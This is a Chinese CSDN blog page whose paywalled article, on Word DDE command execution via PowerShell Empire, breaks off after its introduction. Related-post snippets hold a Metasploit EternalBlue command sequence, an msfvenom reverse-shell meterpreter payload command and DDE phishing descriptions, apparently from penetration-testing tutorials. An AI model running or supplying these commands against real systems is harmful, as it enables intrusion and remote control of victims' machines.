利用PowerShell Empire实现Word文档DDE攻击控制（简单没啥用）

已于 2022-08-25 11:34:10 修改
阅读量474 收藏 2
点赞数
分类专栏： 渗透常识研究 文章标签： 服务器 网络 linux
于 2021-04-09 13:46:55 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/u012206617/article/details/115548403
版权
渗透常识研究 专栏收录该内容
179 篇文章 88 订阅 ¥29.90 ¥99.00
订阅专栏

近期，有安全人员发现了一种DynamicData Exchange (DDE)协议绕过MSWord和MSExcel宏限制，不需使用MSWord和MSExcel漏洞，就能实现在Office文档中执行恶意命令目的。在这篇文章中，我将展示如何利用基于Empire的PowerShell来对Word文档进行“伪装”攻击，可能还有其它实现方法，我仅作个抛砖引玉。

创建Empire Listener

创建一个Empire Listener监听线程，可点此查看Empire的使用说明。

当监听线程启动运行之后，运行以下命令，生成将要在目标受害机器上执行的PowerShell代码：

launche

了解本专栏 订阅专栏 解锁全文
墨痕诉清风
关注
专栏目录
订阅专栏
CTF靶机 PowerShell Empire 笔记
z4yn:)的博客
08-28 351
PowerShell Empire 作为Red Primer系列的一部分，了解如何使用这个强大的开发后框架。 Nmap 扫一波端口 发现开放了个445端口，可以尝试用ms17-010 再用Nmap漏洞扫描一下 nmap --script vuln 10.10.241.65 启动MSF msfconsole use windows/smb/ms17_010eternalblue set rhosts 10.10.241.65 set payload windows/x64/meter
word中的dde
weixin_33816300的博客
04-20 547
在word中使用快捷键ctrl+f9 打开后有个大括号，在里边输入系统命令可以执行。配合powershell可以做很多事。 现象（一） 现象（二） 执行成功 解决方案（1）： 在word选项中，勾选显示域代码而非域值。这样在打开的文档中可以直接看到域代码。 解决方案（2）：关闭自动更新链接 解决方案（3）：注册表彻底禁用 来自：https://gist.github.com/wdorman...
使用DDE来操作Word
ljmwork的专栏
07-03 2819
使用DDE来操作Word Windows支持三种基本的IPC（进程间通信）机制：动态链接库（DLL）中的共享数据段、Windows剪贴版(Clipboard)和动态数据交换DDE(Dynamic         Data Exchange)。许多著名的Windows应用程序如Microsoft         Word等都宣布支持DDE技术，并在程序中嵌入了D
关于word中的DDE如何查看
qq_45844442的博客
10-11 408
在word当中可以内置一些代码，而这些代码有个专业名词叫做域代码，一般情况下这个代码是被隐藏了，需要在。其中里面有会置入大量数字，其实都是ASCII码，如图所示。勾选上即可看见（我使用的是WPS）
用DDE控制Word
bdmh的专栏
09-21 2401
<br />DDE(Dynamic Data Exchange)，称为动态数据交换。用于进程间的通讯，看看他如何来和Word交互。<br />在System页签下有TDdeClientConv组件，拖一个放到界面上，然后我们写如下代码：<br />unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, OleServer
PowerShell 打开word 文档
weixin_30270889的博客
06-19 890
打开word前先启动Word， false visible 则不单独打开一个空白word $word=New-Object-ComObject Word.Application $word.Visible = $false 转载于:https://www.cnblogs.com/endless-on/p/3143809.html...
使用PowerShell Empire实现有效漏洞利用及持久性访问
PowerShell Empire是一个用于渗透测试和后渗透阶段的开源框架，它提供了强大的攻击工具和资源，帮助安全团队评估其网络的防御能力。在本章节中，我们将深入了解PowerShell Empire，包括其特性、优势以及在渗透测试中...
PowerShell 实现Word批量替换关键词
rilkran的博客
11-16 1071
$file_path = "E:\test" #文件位置 $save_path = "E:\else\" #替换后的文件位置 $files = Get-Childitem $file_path -Include *.docx,*.doc -Recurse # 获取文件夹下面的所有的Word文档类型文件 $need_to_replace = @("生育","费用") .
PSWriteWord:PSWriteWord是用于在未安装Microsoft Word的情况下创建Microsoft Word文档的Powershell模块。
05-04
PSWriteWord是PowerShell模块，用于在未安装Microsoft Word的情况下创建Microsoft Word文档。 您可以在我的上阅读更多信息。 更新 1.1.9-2020.09.21 修复了完全无法使用的Set-WordTextReplace 更新PSD1 从...
Starkiller:Starkiller是PowerShell Empire的前端
03-20
它是用VueJS编写的Electron应用程序。如果您想贡献，请遵循。如果您想请求功能或报告错误，请按照。 赞助商 入门 要运行Starkiller，可以在“页面上下载Mac，Linux和Windows的安装程序。有关在Linux上运行AppImage...
鱼叉钓鱼：利用 Office 文档进行 DDE 攻击
weixin_45575473的博客
04-20 592
鱼叉钓鱼：利用 Office 文档进行 DDE 攻击 DDE DDE 是一个自定义字段，用户可插入文档。这些字段允许用户输入简单的说明，包括插入到新文档中的数据及插入位置。攻击者可以创建包含DDE字段的恶意Word文件（而不需要打开另一个Office应用程序）、打开命令提示符和运行恶意代码。 通常情况下，Office应用程序会显示两项告警内容。第一个是关于包含指向其他文件的链接的文档告警，第二个是关于打开远程命令提示符的错误告警。 在MSWord和MSExcel里，我们可以使用DDE来执行命令。 DDE 攻
Powershell配合word伪装木马执行
洋洋的小黑屋
03-17 388
环境： win7 64位，word2013 生成木马 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.64.135 LPORT=1122 -f psh-reflection >x.ps1 ​ 放到VPS上，这里我们放到本机搭建的apache环境中 ​ win7中访问木马是否成功 ​ 打开wo...
使用powershell Client进行有效dy
citelao的博客
03-22 807
使用powershell Client进行有效钓鱼 Evi1cg · 2015/09/11 16:40 0x00 简介 Powershell是windows下面非常强大的命令行工具，并且在windows中Powershell可以利用.NET Framework的强大功能，也可以调用windows API，在win7/server 2008以后，powershell已被集成在系统当
Office DDE漏洞学习笔记
weixin_30315435的博客
03-11 392
1、前言 2017年下半年爆发出来的Office漏洞，一直没有空做笔记记录。在病毒分析中也看到有利用这个漏洞的样本，针对Office系列软件发起的钓鱼攻击和APT攻击一直是安全攻防的热点。 2、office DDE Microsoft Office Word 的一个执行任意代码的方法，可以在不启用宏的情况下执行任意程序。 这个功能的本意是为了更方便地在 word 里同步更新其它应用的内容...
DDE攻击利用介绍
Fly_鹏程万里
02-20 418
2017年10月SensePost发布了一篇文章并在其中解释了如何在不使用任何宏或脚本的情况下从Microsoft Word文档中执行任意代码，SensePost描述的技术是利用合法的Microsoft Office功能，该功能称为DDE(动态数据交换)，DDE旨在允许Microsoft办公应用程序之间传输数据，由于此技术不会使用电子邮件网关可以检测到的恶意宏感染Word文档，因此可以实现与远程代码执行相同的结果，这种攻击非常有效且被广泛用于恶意软件活动和红队评估。
【漏洞挖掘】——22、DDE漏洞攻击介绍
Fly_鹏程万里
03-03 1326
2017年10月SensePost发布了一篇文章并在其中解释了如何在不使用任何宏或脚本的情况下从Microsoft Word文档中执行任意代码，SensePost描述的技术是利用合法的Microsoft Office功能，该功能称为DDE(动态数据交换)，DDE旨在允许Microsoft办公应用程序之间传输数据，由于此技术不会使用电子邮件网关可以检测到的恶意宏感染Word文档，因此可以实现与远程代码执行相同的结果，这种攻击非常有效且被广泛用于恶意软件活动和红队评估。
探索Office的隐秘角落：Office-DDE-Payloads深度剖析与应用
最新发布
gitblog_00062的博客
06-04 269
探索Office的隐秘角落：Office-DDE-Payloads深度剖析与应用 Office-DDE-PayloadsCollection of scripts and templates to generate Office documents embedded with the DDE, macro-less command execution technique.项目地址:https:/...
利用DNS TXT记录执行PowerShell攻击
"本文主要探讨了如何通过DNS TXT记录来执行PowerShell脚本，特别是利用Nishang工具进行操作，并提供了创建TXT记录和执行PowerShell脚本的详细步骤。" 在网络安全领域，有时需要利用非传统的方式来执行命令或脚本，...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

墨痕诉清风

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值